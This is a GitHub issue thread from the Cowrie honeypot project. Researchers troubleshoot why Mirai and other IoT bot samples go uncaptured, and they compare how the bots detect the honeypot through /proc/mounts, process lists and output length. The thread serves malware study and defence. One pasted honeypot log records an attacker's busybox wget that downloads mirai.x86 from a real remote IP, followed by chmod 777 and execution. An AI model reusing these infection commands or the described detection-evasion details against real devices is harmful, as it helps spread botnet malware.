Not capturing any Mirai samples #411
Comments
|
Hello, Regarding the second issue, what is the output of the command |
|
Btw, I doubt that first mentioned issue has something with parentesis. As far as I remember, there are no mirai samples that uses it for honeypot detection. Could you please post a part of the log related to this issue? |
|
@fe7ch, none of the three cases behaves like the original Mirai (as suggested by its source). I have not modified the output of any of the commands that the honeypot comes with or the file system it spoofs, As far as I can see, there is no Here is a sample log for the first case: |
|
@bintchev, I'm almost sure the log, you just provided, is related to Linux.Hajime malware family, not Mirai. To address the second issue (/bin/echo), you must place a binary file to cowrie/honeyfs/bin/echo if you want to capture samples. How does it work (simplified):
|
|
@fe7ch, I thought that Hajime was Mirai-based? How exactly do I add Also, what about the other two cases? Any ideas why no samples are captured and how to fix that? |
|
@bontchev Nope, Hajime is totally different family. If you want to capture these samples, you'll need to wait till hotfix merged or apply the hotfix by yourself. For common binaries such as /bin/echo, it's enough to copy file into I have no ideas about the third issue. I saw it in my logs too, but haven't enough time to dig into it yet. |
|
@fe7ch, OK, I copied Still doesn't look like the original Mirai variant, though. |
|
Wget files should be saved. It may. E something with the wget switches. Try
copying and pasting the exact command line into your honeypot session and
see what happens.
…On Wed, Jan 18, 2017 at 15:02 Vesselin Bontchev ***@***.***> wrote:
@fe7ch <https://github.com/fe7ch>, OK, I copied /bin/echo to
cowrie/honeyfs/bin/echo. Now the bot goes further and proceeds to
download a copy via wget, but again no samples are collected by Cowrie.
Probably because the downloaded file is destroyed by the bot if it fails to
start? Sample log:
2017-01-18T12:43:55+0200 [cowrie.telnet.transport.HoneyPotTelnetFactory] New connection: 173.208.241.10:64919 (192.168.0.102:23) [session: TT5]
2017-01-18T12:43:59+0200 [CowrieTelnetTransport,5,173.208.241.10] login attempt [root/anko] succeeded
2017-01-18T12:43:59+0200 [CowrieTelnetTransport,5,173.208.241.10] Opening TTY Log: log/tty/20170118-124359-None-5i.log
2017-01-18T12:43:59+0200 [CowrieTelnetTransport,5,173.208.241.10] Warning: state changed and new state returned
2017-01-18T12:43:59+0200 [CowrieTelnetTransport,5,173.208.241.10] CMD: enable
2017-01-18T12:43:59+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: enable
2017-01-18T12:43:59+0200 [CowrieTelnetTransport,5,173.208.241.10] Reading txtcmd from "txtcmds/bin/enable"
2017-01-18T12:44:00+0200 [CowrieTelnetTransport,5,173.208.241.10] CMD: shell
2017-01-18T12:44:00+0200 [CowrieTelnetTransport,5,173.208.241.10] Command not found: shell
2017-01-18T12:44:00+0200 [CowrieTelnetTransport,5,173.208.241.10] CMD: sh
2017-01-18T12:44:00+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: sh
2017-01-18T12:44:00+0200 [CowrieTelnetTransport,5,173.208.241.10] CMD: /bin/busybox ECCHI
2017-01-18T12:44:00+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: /bin/busybox ECCHI
2017-01-18T12:44:00+0200 [CowrieTelnetTransport,5,173.208.241.10] CMD: /bin/busybox ps; /bin/busybox ECCHI
2017-01-18T12:44:00+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: /bin/busybox ps
2017-01-18T12:44:00+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: ps
2017-01-18T12:44:00+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: /bin/busybox ECCHI
2017-01-18T12:44:00+0200 [CowrieTelnetTransport,5,173.208.241.10] CMD: /bin/busybox cat /proc/mounts; /bin/busybox ECCHI
2017-01-18T12:44:00+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: /bin/busybox cat /proc/mounts
2017-01-18T12:44:00+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: cat /proc/mounts
2017-01-18T12:44:00+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: /bin/busybox ECCHI
2017-01-18T12:44:00+0200 [CowrieTelnetTransport,5,173.208.241.10] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/dev' > /dev/.nippon; /bin/busybox cat /dev/.nippon; /bin/busybox rm /dev/.nippon
2017-01-18T12:44:00+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/dev' > /dev/.nippon
2017-01-18T12:44:00+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: echo -e '\x6b\x61\x6d\x69/dev'
2017-01-18T12:44:00+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: /bin/busybox cat /dev/.nippon
2017-01-18T12:44:00+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: cat /dev/.nippon
2017-01-18T12:44:00+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: /bin/busybox rm /dev/.nippon
2017-01-18T12:44:00+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: rm /dev/.nippon
2017-01-18T12:44:00+0200 [CowrieTelnetTransport,5,173.208.241.10] CMD: /bin/busybox ECCHI
2017-01-18T12:44:00+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: /bin/busybox ECCHI
2017-01-18T12:44:01+0200 [CowrieTelnetTransport,5,173.208.241.10] CMD: cd /
2017-01-18T12:44:01+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: cd /
2017-01-18T12:44:01+0200 [CowrieTelnetTransport,5,173.208.241.10] CMD: /bin/busybox cp /bin/echo dvrHelper; >dvrHelper; /bin/busybox chmod 777 dvrHelper; /bin/busybox ECCHI
2017-01-18T12:44:01+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: /bin/busybox cp /bin/echo dvrHelper
2017-01-18T12:44:01+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: cp /bin/echo dvrHelper
2017-01-18T12:44:01+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: > dvrHelper
2017-01-18T12:44:01+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: /bin/busybox chmod 777 /dvrHelper
2017-01-18T12:44:01+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: chmod 777 /dvrHelper
2017-01-18T12:44:01+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: /bin/busybox ECCHI
2017-01-18T12:44:01+0200 [CowrieTelnetTransport,5,173.208.241.10] CMD: /bin/busybox cat /bin/echo
2017-01-18T12:44:01+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: /bin/busybox cat /bin/echo
2017-01-18T12:44:01+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: cat /bin/echo
2017-01-18T12:44:01+0200 [CowrieTelnetTransport,5,173.208.241.10] CMD: /bin/busybox ECCHI
2017-01-18T12:44:01+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: /bin/busybox ECCHI
2017-01-18T12:44:01+0200 [CowrieTelnetTransport,5,173.208.241.10] CMD: /bin/busybox wget; /bin/busybox tftp; /bin/busybox ECCHI
2017-01-18T12:44:01+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: /bin/busybox wget
2017-01-18T12:44:01+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: wget
2017-01-18T12:44:01+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: /bin/busybox tftp
2017-01-18T12:44:01+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: tftp
2017-01-18T12:44:01+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: /bin/busybox ECCHI
2017-01-18T12:44:02+0200 [CowrieTelnetTransport,5,173.208.241.10] CMD: /bin/busybox wget http://69.30.218.138:1122/bins/mirai.x86 -O - > dvrHelper; /bin/busybox chmod 777 dvrHelper; /bin/busybox ECCHI
2017-01-18T12:44:02+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: /bin/busybox wget http://69.30.218.138:1122/bins/mirai.x86 -O - > /dvrHelper
2017-01-18T12:44:02+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: wget http://69.30.218.138:1122/bins/mirai.x86 -O -
2017-01-18T12:44:02+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: /bin/busybox chmod 777 /dvrHelper
2017-01-18T12:44:02+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: chmod 777 /dvrHelper
2017-01-18T12:44:02+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: /bin/busybox ECCHI
2017-01-18T12:44:02+0200 [CowrieTelnetTransport,5,173.208.241.10] CMD: ./dvrHelper telnet.x86; /bin/busybox IHCCE
2017-01-18T12:44:02+0200 [CowrieTelnetTransport,5,173.208.241.10] Command not found: ./dvrHelper telnet.x86
2017-01-18T12:44:02+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: /bin/busybox IHCCE
2017-01-18T12:44:02+0200 [CowrieTelnetTransport,5,173.208.241.10] CMD: rm -rf upnp; > dvrHelper; /bin/busybox ECCHI
2017-01-18T12:44:02+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: rm -rf upnp
2017-01-18T12:44:02+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: > /dvrHelper
2017-01-18T12:44:02+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: /bin/busybox ECCHI
2017-01-18T12:44:02+0200 [CowrieTelnetTransport,5,173.208.241.10] Closing TTY Log: log/tty/20170118-124359-None-5i.log after 2 seconds
2017-01-18T12:44:02+0200 [CowrieTelnetTransport,5,173.208.241.10] honeypot terminal protocol connection lost [Failure instance: Traceback (failure with no frames): <class 'twisted.internet.error.ConnectionDone'>: Connection was closed cleanly.
2017-01-18T12:44:02+0200 [CowrieTelnetTransport,5,173.208.241.10] Connection lost after 7 seconds
Still doesn't look like the original Mirai variant, though.
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
<#411 (comment)>,
or mute the thread
<https://github.com/notifications/unsubscribe-auth/ABA4g8NaQQ6jydJVLswxf8AWmo9BPyIWks5rTfE1gaJpZM4LlCqL>
.
|
|
@micheloosterhof If I enter manually only
the sample is captured. However, if I enter manually a compound command like
the sample is not captured. |
@bontchev @micheloosterhof , I guess this happens because of #352 |
|
@fe7ch, @micheloosterhof, I have applied the hotfixes for issues #352 and #361. The bots now go further down their script, but Cowrie still isn't capturing any samples! The main issues are:
|
|
@bontchev There is nothing (except for 1st) directly related to cowrie.
|
|
@bontchev Looking at provided log (3rd issue), I bet trojan detected cowrie by process list or mounts list. |
|
@fe7ch, so what should I do? Modify
and create a file
? |
|
@bontchev It's definitely must not be equal to standart cowrie installation. How to modify it is up to you. I've just grab a copy of it from my home router. Patching |
Nope, the right place for it is honeyfs/proc/mounts |
|
I've found a sample that corresponds to your attack session. I'll look into it tomorrow and let you know how does it detect cowrie. |
|
@fe7ch should we get a different /bin/echo file for the honeyfs, maybe one that is ARMv7 or something? |
|
@dwasss, you can use any file (not just echo) from a different platform; just name it The good news in the case of Mirai is that all the executables for the 9 supported platforms are in the same place. So, if Cowrie managed to snatch a sample from In fact, if a more-or-less standard Mirai has attacked you, even if Cowrie didn't manage to capture a sample, you could always try to get in manually from the In fact, there are two main strains of Mirai. The "original" one (the source code of which was published) uses a small downloader to download the main bot. That is, the attack you see in the logs uses The other main strain is self-contained - i.e., Of course, this holds only for the standard Mirai. There are variants that keep the bot executable in other directories and use other file name (e.g., I don't know the answer to your second question - and I, too, would like to know it. |
|
@fe7ch, you wrote
I don't have a sample of it, but according to this report, Hajime does support x86_64 platforms (as well as ARM5, ARM7 and little-endian MIPS). However, my honeypot is running on a 32-bit Linux Mint virtual machine; I guess this is the reason (or one of the reasons, anyway) why the worm doesn't "bite". Also according to that report, Hajime uses the command The report does not specify that Hajime expects any particular content of One more thing. I get very rare hits (like, once per day) by something that does |
|
As you've found out, you will always have to modify your honeypot a bit
depending on what you want to catch. If the malware is ARM specific and
checks by catting /bin/sh to check for ARM binaries, you could find a
binary somewhere and put that in honeyfs/bin/sh.
Honeypot detection and anti-detection is a cat and mouse game. If I did all
this in the official binaries, very quickly they would check for something
else, more advanced...
…On Thu, Jan 19, 2017 at 20:52 Vesselin Bontchev ***@***.***> wrote:
@fe7ch <https://github.com/fe7ch>, you wrote
Hajime does not infect x86/x86_64 boxes.
I don't have a sample of it, but according to this report
<https://security.rapiditynetworks.com/publications/2016-10-16/hajime.pdf>,
Hajime *does* support x86_64 platforms (as well as ARM5, ARM7 and
little-endian MIPS). However, my honeypot is running on a 32-bit Linux Mint
virtual machine; I guess this is the reason (or one of the reasons, anyway)
why the worm doesn't "bite".
Also according to that report, Hajime uses the command system during the
initial exchange - and that command is not present in the log that you
think was produced by Hajime. That command, however, *is* present in the
log with the '0x00' characters; maybe that's Hajime?
The report does not specify that Hajime expects any particular content of
/proc/mounts. However, after I modified that file, the bot now
disconnects immediately after reading it - while before (with the original
contents distributed with Cowrie) it went considerably further.
One more thing. I get very rare hits (like, once per day) by something
that does cat /bin/sh. Since I don't have such a file in the honeypot's
system right now, the thing disconnects immediately. I'll copy that file
there tomorrow and I'll see what happens.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
<#411 (comment)>,
or mute the thread
<https://github.com/notifications/unsubscribe-auth/ABA4g29jgxYRKLdNOhCPuDszqLdAXvewks5rT5TMgaJpZM4LlCqL>
.
|
|
I wasn't able to look on the sample yet due to cold flue :/ I'll try it during the next week. As @micheloosterhof said, it's cat & mouse game, so basically, using cowrie is like:
@bontchev I've read the report about hajime, but you will not find any node that will give you x86_64 sample. It doesn't exist in P2P network.
Well, that report is outdated. Hajime updated its infection process several times already.
Nope, it's something else. By the way, don't call trojans "Mirai-like" or "not Mirai-like". There were dozens of IoT trojans before Mirai, so it's completely wrong to call every non-Mirai trojan "not Mirai-like". |
|
@fe7ch, I'm mostly interested in Mirai right now, so I'm trying to capture Mirai variants. Everything that's not a Mirai-like bot is not of much interest to me right now. And, yes, I've found several attacks in the logs that are obviously from things that are nothing like Mirai. I have a somewhat better understanding of how Mirai works now. The logs with the '0x00' characters are from genuine Mirai bots - i.e., infected cameras. You can't capture a sample from them for the simple reason that they aren't providing any. The bot doesn't spread from infected cameras. (The camera isn't running a Web server, so it can't serve anything via HTTP GET.) Instead, it just scans random IPs, tries to log in with any of the vulnerable username/password pairs and does just Nothing more. It uses the Recently I am also seeing a lot of another attack in the logs. It creates a |
|
@bontchev Could you please play this log and post the output? |
Finally, I've managed to inspect the sample. It was checking directories from /proc/mounts with "rw" attributes. If it didn't proceed with infection, then none of the files was correctly created. A replay of the attack may shed some light on the problem. |
|
@FE7c, I no longer have that particular log - but I have tons of logs with hits from that very same attack pattern, so I played another one. (As an aside, the Here is the result of playing it. I have removed the ANSI escape sequences manually for clarity. As far as I can see, the reason is because some of the files could not be created: I don't know if this is intentional or not from Cowrie's part. Or maybe the problem is that Cowrie doesn't handle correctly file names that contain a comma? Anyway, here's the playlog: |
|
As far as I understood, your cowrie produced too much text (8577 characters that is beyond trojan's limit of 8196 chars). You may cut half of "rw" folders from honeyfs/proc/mounts and test if it goes further. |
|
@FE7c, yes, that was it. After reducing the contents of Thanks for your help! |
|
@fe7ch I finally followed the directions from this conversation in hoping of capturing these samples, however, my honeypot still seems to be ignoring the command I added the directory bin under honeyfs and copied in the echo command
Is there a step that I missed above to get the wget command to actually work? |
@funtimes-ninja Since infector proceeded to excecute "wget" command, it's not a honeyfs issue anymore. Your cowrie failing either because of busybox issue or because of wget with |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
I ran a pretty much out-of-the-box Cowrie installation on a virtual machine for a couple of hours. Although the logs show that various Mirai variants have hit 127 times, to my amazement not even a single sample was captured. Going through the logs, I can identify the following cases:
In the vast majority of cases the capturing has failed because of this issue. The discussion of the issue suggests that a hotfix for the problem is available - could we get it merged to master, please?
The second case looks like pretty much a standard Mirai; I do not understand what exactly is failing. It seems to me that the honeypot is providing the right answers. Here is a sample session from the logs:
The text was updated successfully, but these errors were encountered: